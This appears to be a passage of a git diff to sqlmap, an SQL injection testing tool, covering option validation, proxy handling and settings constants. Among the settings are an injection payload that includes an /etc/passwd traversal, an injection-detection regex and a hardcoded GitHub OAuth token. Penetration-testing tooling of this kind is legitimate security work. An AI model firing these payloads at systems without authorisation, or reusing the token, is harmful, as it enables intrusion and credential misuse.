HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) + conf.data = readInput(message, default=None) - if filter(lambda x: '=' in str(x), [conf.url, conf.data]) or '*' in conf.url: - break - else: - warnMsg = "no GET and/or POST parameter(s) found for testing " - warnMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" - logger.critical(warnMsg) - - if conf.crawlDepth or conf.forms: - break - else: - conf.url = conf.data = None + if not (filter(lambda _: '=' in unicode(_), (conf.url, conf.data)) or '*' in conf.url): + warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) + warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " + if not conf.crawlDepth and not conf.forms: + warnMsg += "Will search for forms" + conf.forms = True + logger.warn(warnMsg) choice = None @@ -1788,16 +1967,14 @@ def _saveCmdline(): datatype = datatype[0] if value is None: - if datatype == "boolean": + if datatype == OPTION_TYPE.BOOLEAN: value = "False" - elif datatype in ("integer", "float"): - if option in ("threads", "verbose"): - value = "1" - elif option == "timeout": - value = "10" + elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): + if option in defaults: + value = str(defaults[option]) else: value = "0" - elif datatype == "string": + elif datatype == OPTION_TYPE.STRING: value = "" if isinstance(value, basestring): @@ -1806,7 +1983,13 @@ def _saveCmdline(): config.set(family, option, value) confFP = openFile(paths.SQLMAP_CONFIG, "wb") - config.write(confFP) + + try: + config.write(confFP) + except IOError, ex: + errMsg = "something went wrong while trying " + errMsg += "to write to the configuration INI file '%s' ('%s')" % (paths.SQLMAP_CONFIG, ex) + raise SqlmapSystemException(errMsg) infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG logger.info(infoMsg) @@ -1868,6 +2051,37 @@ def _mergeOptions(inputOptions, overrideOptions): if hasattr(conf, key) and conf[key] is None: conf[key] = value + _ = {} + for key, value in os.environ.items(): + if key.upper().startswith(SQLMAP_ENVIRONMENT_PREFIX): + _[key[len(SQLMAP_ENVIRONMENT_PREFIX):].upper()] = value + + types_ = {} + for group in optDict.keys(): + types_.update(optDict[group]) + + for key in conf: + if key.upper() in _ and key in types_: + value = _[key.upper()] + + if types_[key] == OPTION_TYPE.BOOLEAN: + try: + value = bool(value) + except ValueError: + value = False + elif types_[key] == OPTION_TYPE.INTEGER: + try: + value = int(value) + except ValueError: + value = 0 + elif types_[key] == OPTION_TYPE.FLOAT: + try: + value = float(value) + except ValueError: + value = 0.0 + + conf[key] = value + mergedOptions.update(conf) def _setTrafficOutputFP(): @@ -1901,6 +2115,15 @@ def _setDNSServer(): errMsg += "for incoming address resolution attempts" raise SqlmapMissingPrivileges(errMsg) +def _setProxyList(): + if not conf.proxyFile: + return + + conf.proxyList = [] + for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w.]+):(\d+)", readCachedFileContent(conf.proxyFile)): + _, type_, address, port = match.groups() + conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) + def _setTorProxySettings(): if not conf.tor: return @@ -1958,6 +2181,18 @@ def _setTorSocksProxySettings(): socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, conf.torPort or DEFAULT_TOR_SOCKS_PORT) socks.wrapmodule(urllib2) +def _checkWebSocket(): + infoMsg = "checking for WebSocket" + logger.debug(infoMsg) + + if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): + try: + from websocket import ABNF + except ImportError: + errMsg = "sqlmap requires third-party module 'websocket-client' " + errMsg += "in order to use WebSocket funcionality" + raise SqlmapMissingDependence(errMsg) + def _checkTor(): if not conf.checkTor: return @@ -1982,25 +2217,25 @@ def _basicOptionValidation(): errMsg = "value for option '--stop' (limitStop) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) - if conf.level is not None and not (isinstance(conf.level, int) and conf.level > 0): - errMsg = "value for option '--level' must be an integer value greater than zero (>0)" + if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5): + errMsg = "value for option '--level' must be an integer value from range [1, 5]" raise SqlmapSyntaxException(errMsg) - if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk > 0): - errMsg = "value for option '--risk' must be an integer value greater than zero (>0)" + if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3): + errMsg = "value for option '--risk' must be an integer value from range [1, 3]" raise SqlmapSyntaxException(errMsg) - if conf.limitStart is not None and isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ - conf.limitStop is not None and isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: + if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ + isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: errMsg = "value for option '--start' (limitStart) must be smaller or equal than value for --stop (limitStop) option" raise SqlmapSyntaxException(errMsg) - if conf.firstChar is not None and isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ - conf.lastChar is not None and isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: + if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ + isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" raise SqlmapSyntaxException(errMsg) - if conf.cpuThrottle is not None and isinstance(conf.cpuThrottle, int) and (conf.cpuThrottle > 100 or conf.cpuThrottle < 0): + if isinstance(conf.cpuThrottle, int) and (conf.cpuThrottle > 100 or conf.cpuThrottle < 0): errMsg = "value for option '--cpu-throttle' (cpuThrottle) must be in range [0,100]" raise SqlmapSyntaxException(errMsg) @@ -2016,6 +2251,10 @@ def _basicOptionValidation(): errMsg = "switch '--titles' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) + if conf.dumpTable and conf.search: + errMsg = "switch '--dump' is incompatible with switch '--search'" + raise SqlmapSyntaxException(errMsg) + if conf.data and conf.nullConnection: errMsg = "option '--data' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) @@ -2032,6 +2271,10 @@ def _basicOptionValidation(): errMsg = "switch '--no-cast' is incompatible with switch '--hex'" raise SqlmapSyntaxException(errMsg) + if conf.dumpAll and conf.search: + errMsg = "switch '--dump-all' is incompatible with switch '--search'" + raise SqlmapSyntaxException(errMsg) + if conf.string and conf.notString: errMsg = "option '--string' is incompatible with switch '--not-string'" raise SqlmapSyntaxException(errMsg) @@ -2040,6 +2283,20 @@ def _basicOptionValidation(): errMsg = "option '--regexp' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) + if conf.regexp: + try: + re.compile(conf.regexp) + except re.error, ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, ex) + raise SqlmapSyntaxException(errMsg) + + if conf.crawlExclude: + try: + re.compile(conf.crawlExclude) + except re.error, ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, ex) + raise SqlmapSyntaxException(errMsg) + if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) @@ -2048,15 +2305,39 @@ def _basicOptionValidation(): errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" raise SqlmapSyntaxException(errMsg) - if conf.threads > MAX_NUMBER_OF_THREADS: + if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) - if conf.forms and not any((conf.url, conf.bulkFile)): - errMsg = "switch '--forms' requires usage of option '-u' ('--url') or '-m'" + if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)): + errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" raise SqlmapSyntaxException(errMsg) - if conf.requestFile and conf.url: + if conf.crawlExclude and not conf.crawlDepth: + errMsg = "option '--crawl-exclude' requires usage of switch '--crawl'" + raise SqlmapSyntaxException(errMsg) + + if conf.safePost and not conf.safeUrl: + errMsg = "option '--safe-post' requires usage of option '--safe-url'" + raise SqlmapSyntaxException(errMsg) + + if conf.safeFreq and not any((conf.safeUrl, conf.safeReqFile)): + errMsg = "option '--safe-freq' requires usage of option '--safe-url' or '--safe-req'" + raise SqlmapSyntaxException(errMsg) + + if conf.safeReqFile and any((conf.safeUrl, conf.safePost)): + errMsg = "option '--safe-req' is incompatible with option '--safe-url' and option '--safe-post'" + raise SqlmapSyntaxException(errMsg) + + if conf.csrfUrl and not conf.csrfToken: + errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + + if conf.csrfToken and conf.threads > 1: + errMsg = "option '--csrf-url' is incompatible with option '--threads'" + raise SqlmapSyntaxException(errMsg) + + if conf.requestFile and conf.url and conf.url != DUMMY_URL: errMsg = "option '-r' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) @@ -2084,8 +2365,8 @@ def _basicOptionValidation(): errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)" raise SqlmapSyntaxException(errMsg) - if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort > 0): - errMsg = "value for option '--tor-port' must be a positive integer" + if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535): + errMsg = "value for option '--tor-port' must be in range 0-65535" raise SqlmapSyntaxException(errMsg) if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): @@ -2108,10 +2389,6 @@ def _basicOptionValidation(): errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) - if conf.forms and any([conf.logFile, conf.direct, conf.requestFile, conf.googleDork]): - errMsg = "switch '--forms' is compatible only with options '-u' ('--url') and '-m'" - raise SqlmapSyntaxException(errMsg) - if conf.timeSec < 1: errMsg = "value for option '--time-sec' must be a positive integer" raise SqlmapSyntaxException(errMsg) @@ -2150,9 +2427,11 @@ def _resolveCrossReferences(): lib.core.threads.readInput = readInput lib.core.common.getPageTemplate = getPageTemplate lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage + lib.request.connect.setHTTPProxy = _setHTTPProxy + lib.controller.checks.setVerbosity = setVerbosity def initOptions(inputOptions=AttribDict(), overrideOptions=False): - if not inputOptions.disableColoring: + if IS_WIN: coloramainit() _setConfAttributes() @@ -2172,7 +2451,9 @@ def init(): _cleanupOptions() _purgeOutput() _checkDependencies() + _createTemporaryDirectory() _basicOptionValidation() + _setProxyList() _setTorProxySettings() _setDNSServer() _adjustLoggingFormatter() @@ -2181,23 +2462,25 @@ def init(): _setWafFunctions() _setTrafficOutputFP() _resolveCrossReferences() + _checkWebSocket() parseTargetUrl() parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)): _setHTTPTimeout() _setHTTPExtraHeaders() _setHTTPCookies() _setHTTPReferer() + _setHTTPHost() _setHTTPUserAgent() - _setHTTPMethod() _setHTTPAuthentication() _setHTTPProxy() _setDNSCache() - _setSafeUrl() + _setSafeVisit() _setGoogleDorking() _setBulkMultipleTargets() + _setSitemapTargets() _urllib2Opener() _checkTor() _setCrawler() @@ -2210,6 +2493,7 @@ def init(): _setWriteFile() _setMetasploit() _setDBMSAuthentication() + loadBoundaries() loadPayloads() _setPrefixSuffix() update() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index acf14c88f..49eae9230 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -19,12 +19,15 @@ optDict = { "sessionFile": "string", "googleDork": "string", "configFile": "string", + "sitemapUrl": "string", }, "Request": { + "method": "string", "data": "string", - "pDel": "string", + "paramDel": "string", "cookie": "string", + "cookieDel": "string", "loadCookies": "string", "dropSetCookie": "boolean", "agent": "string", @@ -32,11 +35,12 @@ optDict = { "host": "string", "referer": "string", "headers": "string", - "aType": "string", - "aCred": "string", - "aCert": "string", + "authType": "string", + "authCred": "string", + "authPrivate": "string", "proxy": "string", - "pCred": "string", + "proxyCred": "string", + "proxyFile": "string", "ignoreProxy": "boolean", "tor": "boolean", "torPort": "integer", @@ -46,9 +50,13 @@ optDict = { "timeout": "float", "retries": "integer", "rParam": "string", - "safUrl": "string", - "saFreq": "integer", + "safeUrl": "string", + "safePost": "string", + "safeReqFile": "string", + "safeFreq": "integer", "skipUrlEncode": "boolean", + "csrfToken": "string", + "csrfUrl": "string", "forceSSL": "boolean", "hpp": "boolean", "evalCode": "string", @@ -65,11 +73,13 @@ optDict = { "Injection": { "testParameter": "string", "skip": "string", + "skipStatic": "boolean", "dbms": "string", "dbmsCred": "string", "os": "string", "invalidBignum": "boolean", "invalidLogical": "boolean", + "invalidString": "boolean", "noCast": "boolean", "noEscape": "boolean", "prefix": "string", @@ -121,9 +131,12 @@ optDict = { "dumpTable": "boolean", "dumpAll": "boolean", "search": "boolean", + "getComments": "boolean", "db": "string", "tbl": "string", "col": "string", + "excludeCol": "string", + "dumpWhere": "string", "user": "string", "excludeSysDbs": "boolean", "limitStart": "integer", @@ -178,6 +191,7 @@ optDict = { "batch": "boolean", "charset": "string", "crawlDepth": "integer", + "crawlExclude": "string", "csvDel": "string", "dumpFormat": "string", "eta": "boolean", @@ -185,7 +199,7 @@ optDict = { "forms": "boolean", "freshQueries": "boolean", "hexConvert": "boolean", - "oDir": "string", + "outputDir": "string", "parseErrors": "boolean", "pivotColumn": "string", "saveCmdline": "boolean", @@ -199,7 +213,6 @@ optDict = { "alert": "string", "answers": "string", "beep": "boolean", - "checkWaf": "boolean", "cleanup": "boolean", "dependencies": "boolean", "disableColoring": "boolean", @@ -218,6 +231,7 @@ optDict = { "cpuThrottle": "integer", "forceDns": "boolean", "identifyWaf": "boolean", + "ignore401": "boolean", "smokeTest": "boolean", "liveTest": "boolean", "stopFail": "boolean", diff --git a/lib/core/profiling.py b/lib/core/profiling.py index be1da3511..c212a0bb5 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 8500c9825..2dc0467c4 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/replication.py b/lib/core/replication.py index 4ec9a0d76..b65f818de 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/revision.py b/lib/core/revision.py index f86f9b525..5319f1aa3 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/session.py b/lib/core/session.py index 630767c57..68b4e13a4 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/settings.py b/lib/core/settings.py index f06022a50..b6563cc83 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,15 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os +import random import re import subprocess import string import sys +import time from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME @@ -19,17 +21,28 @@ from lib.core.revision import getRevisionNumber # sqlmap version and site VERSION = "1.0-dev" REVISION = getRevisionNumber() -VERSION_STRING = "sqlmap/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "") +VERSION_STRING = "sqlmap/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "-nongit-%s" % time.strftime("%Y%m%d", time.gmtime(os.path.getctime(__file__)))) DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" -ML = "sqlmap-users@lists.sourceforge.net" +GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" + +# colorful banner +BANNER = """\033[01;33m _ + ___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m +|_ -| . | | | .'| . | +|___|_ |_|_|_|_|__,| _| + |_| |_| \033[0m\033[4;37m%s\033[0m\n +""" % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 CONSTANT_RATIO = 0.9 +# Ratio used in heuristic check for WAF/IDS/IPS protected targets +IDS_WAF_CHECK_RATIO = 0.5 + # Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 @@ -37,31 +50,41 @@ UPPER_RATIO_BOUND = 0.98 # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__AMP__" PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" +BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" URI_QUESTION_MARKER = "__QUESTION_MARK__" ASTERISK_MARKER = "__ASTERISK_MARK__" REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" -PAYLOAD_DELIMITER = "\x00" +PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" +# Regular expression used for recognition of textual content-type +TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" + # Regular expression used for recognition of generic permission messages PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied" # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"max.+connections" -# Regular expression used for extracting results from google search +# Regular expression used for extracting results from Google search GOOGLE_REGEX = r"url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" +# Regular expression used for extracting results from DuckDuckGo search +DUCKDUCKGO_REGEX = r'"u":"([^"]+)' + # Regular expression used for extracting content from "textual" tags TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)" # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b" +# Regular expression used for recognition of generic "your ip has been blocked" messages +BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)" + # Dumping characters used in GROUP_CONCAT MySQL technique CONCAT_ROW_DELIMITER = ',' CONCAT_VALUE_DELIMITER = '|' @@ -96,11 +119,14 @@ BACKDOOR_RUN_CMD_TIMEOUT = 5 # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 +# In case of missing piece of partial union dump, buffered array must be flushed after certain size +MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 + # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" # Minimum time response set needed for time-comparison based on standard deviation -MIN_TIME_RESPONSES = 15 +MIN_TIME_RESPONSES = 30 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation MIN_UNION_RESPONSES = 5 @@ -120,10 +146,10 @@ INFERENCE_EQUALS_CHAR = "=" # Character used for operation "not-equals" in inference INFERENCE_NOT_EQUALS_CHAR = "!=" -# String used for representation of unknown dbms +# String used for representation of unknown DBMS UNKNOWN_DBMS = "Unknown" -# String used for representation of unknown dbms version +# String used for representation of unknown DBMS version UNKNOWN_DBMS_VERSION = "Unknown" # Dynamicity mark length used in dynamicity removal engine @@ -145,7 +171,7 @@ IS_WIN = subprocess.mswindows PLATFORM = os.name PYVERSION = sys.version.split()[0] -# Database management system specific variables +# DBMS system databases MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") MYSQL_SYSTEM_DBS = ("information_schema", "mysql") # Before MySQL 5.0 only "mysql" PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast") @@ -182,10 +208,15 @@ DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) f SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES SUPPORTED_OS = ("linux", "windows") +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES)) + USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) +# Names that can't be used to name files on Windows OS +WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") + # Items displayed in basic help (-h) output BASIC_HELP_ITEMS = ( "url", @@ -218,6 +249,7 @@ BASIC_HELP_ITEMS = ( "checkTor", "flushSession", "tor", + "sqlmapShell", "wizard", ) @@ -239,10 +271,10 @@ ERROR_PARSING_REGEXES = ( ) # Regular expression used for parsing charset info from meta html headers -META_CHARSET_REGEX = r'(?si).*]+charset=(?P[^">]+).*' +META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' # Regular expression used for parsing refresh info from meta html headers -META_REFRESH_REGEX = r'(?si).*]+content="?[^">]+url=(?P[^">]+).*' +META_REFRESH_REGEX = r'(?si)(?!.*?]+content="?[^">]+url=["\']?(?P[^\'">]+).*' # Regular expression used for parsing empty fields in tested form data EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P[^=]+=(&|\Z))' @@ -259,6 +291,9 @@ WEBSCARAB_SPLITTER = "### Conversation" # Splitter used between requests in BURP log files BURP_REQUEST_REGEX = r"={10,}\s+[^=]+={10,}\s(.+?)\s={10,}" +# Regex used for parsing XML Burp saved history items +BURP_XML_HISTORY_REGEX = r'(\d+).+?<]" +DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b" # Extensions skipped by crawler -CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jar", "tif", "bmp", "war", "ear", "mpg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "bin", "exe", "iso", "tar", "png", "pdf", "ps", "mp3", "zip", "rar", "gz") +CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov", "doc", "docx", "xls", "dot", "dotx", "xlt", "xlsx", "ppt", "pps", "pptx") # Patterns often seen in HTTP headers containing custom injection marking character -PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(\bq=[^;']+)|(\*/\*)" +PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" # Template used for common table existence check BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" @@ -392,7 +433,7 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)" # Payload used for checking of existence of IDS/WAF (dummier the better) -IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1" +IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd" # Vectors used for provoking specific WAF/IDS/IPS behavior(s) WAF_ATTACK_VECTORS = ( @@ -406,8 +447,8 @@ WAF_ATTACK_VECTORS = ( # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') -# Chunk length (in items) used by BigArray objects (only last chunk and cached one are held in memory) -BIGARRAY_CHUNK_LENGTH = 4096 +# Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) +BIGARRAY_CHUNK_SIZE = 1024 * 1024 # Only console display last n table rows TRIM_STDOUT_DUMP_SIZE = 256 @@ -442,14 +483,20 @@ DEFAULT_COOKIE_DELIMITER = ';' # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" +# Github OAuth token used for creating an automatic Issue for unhandled exceptions +GITHUB_REPORT_OAUTH_TOKEN = "f05e68171afd41a445b1fff80f369fae88b37968" + # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 +# Number of retries for unsuccessful HashDB end transaction attempts +HASHDB_END_TRANSACTION_RETRIES = 3 + # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "cAWxkLYCQT" # r5129 "".join(random.sample(string.ascii_letters, 10)) +HASHDB_MILESTONE_VALUE = "JHjrBugdDA" # "".join(random.sample(string.ascii_letters, 10)) # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 @@ -473,7 +520,10 @@ MAX_DNS_LABEL = 63 DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters) # Alphabet used for heuristic checks -HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', '[', ']', ',', '.') +HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') + +# String used for dummy XSS check of a tested parameter value +DUMMY_XSS_CHECK_APPENDIX = "<'\">" # Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections) MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 @@ -481,6 +531,9 @@ MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 +# Maximum (multi-threaded) length of entry in bisection algorithm +MAX_BISECTION_LENGTH = 50 * 1024 * 1024 + # Mark used for trimming unnecessary content in large chunks LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__" @@ -494,7 +547,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100 CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that") +BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") @@ -506,7 +559,7 @@ MAX_HELP_OPTION_LENGTH = 18 